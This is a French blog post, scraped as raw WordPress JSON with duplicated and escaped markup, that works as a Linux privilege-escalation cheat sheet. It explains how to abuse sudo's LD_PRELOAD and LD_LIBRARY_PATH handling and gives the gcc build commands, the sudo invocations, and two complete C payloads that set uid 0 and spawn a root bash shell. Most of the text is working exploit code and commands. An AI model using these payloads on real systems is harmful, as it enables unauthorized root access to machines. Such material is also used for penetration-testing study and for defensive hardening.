On peut injecter du code lors de l’ex\u00e9cution d’une commande avec sudo en modifiant les variables d’environnement LD_PRELOAD ou LD_LIBRARY_PATH<\/p>\n
gcc -fPIC -shared -nostartfiles -o \/tmp\/preload.so \/home\/user\/tools\/sudo\/preload.c<\/p>\n
On peut obtenir un root shell en ex\u00e9cutant un programme que l’on peut ex\u00e9cuter avec sudo de cette fa\u00e7on<\/p>\n
sudo LD_PRELOAD=\/tmp\/preload.so program-name-here<\/p>\n
preload.c<\/strong><\/p>\n Une deuxi\u00e8me fa\u00e7on d’obtenir un root shell<\/p>\n ldd \/usr\/sbin\/apache2 (apache2 utilise libcrypt.so)<\/p>\n gcc -o \/tmp\/libcrypt.so.1 -shared -fPIC \/home\/user\/tools\/sudo\/library_path.c<\/p>\n sudo LD_LIBRARY_PATH=\/tmp apache2<\/p>\n library_path.c<\/strong><\/p>\n On peut injecter du code lors de l’ex\u00e9cution d’une commande avec sudo en modifiant les variables d’environnement LD_PRELOAD ou LD_LIBRARY_PATH gcc -fPIC -shared -nostartfiles -o \/tmp\/preload.so \/home\/user\/tools\/sudo\/preload.c On peut obtenir un root shell en ex\u00e9cutant un programme que l’on peut ex\u00e9cuter avec sudo de cette fa\u00e7on sudo LD_PRELOAD=\/tmp\/preload.so program-name-here preload.c #include <stdio.h> #include <sys\/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("\/bin\/bash -p"); } Une deuxi\u00e8me fa\u00e7on d’obtenir un root shell ldd \/usr\/sbin\/apache2 (apache2 utilise libcrypt.so) gcc -o \/tmp\/libcrypt.so.1 -shared -fPIC \/home\/user\/tools\/sudo\/library_path.c sudo LD_LIBRARY_PATH=\/tmp apache2 library_path.c #include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("\/bin\/bash <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,22,18],"tags":[],"yoast_head":"\n#include <stdio.h>\n\n#include <sys\/types.h>\n\n#include <stdlib.h>\n\n \n\nvoid _init() {\n\n unsetenv("LD_PRELOAD");\n\n setresuid(0,0,0);\n\n system("\/bin\/bash -p");\n\n}<\/code><\/pre><\/p>\n#include <stdio.h>\n\n#include <stdlib.h>\n\n \n\nstatic void hijack() __attribute__((constructor));\n\n \n\nvoid hijack() {\n\n unsetenv("LD_LIBRARY_PATH");\n\n setresuid(0,0,0);\n\n system("\/bin\/bash -p");\n\n}<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"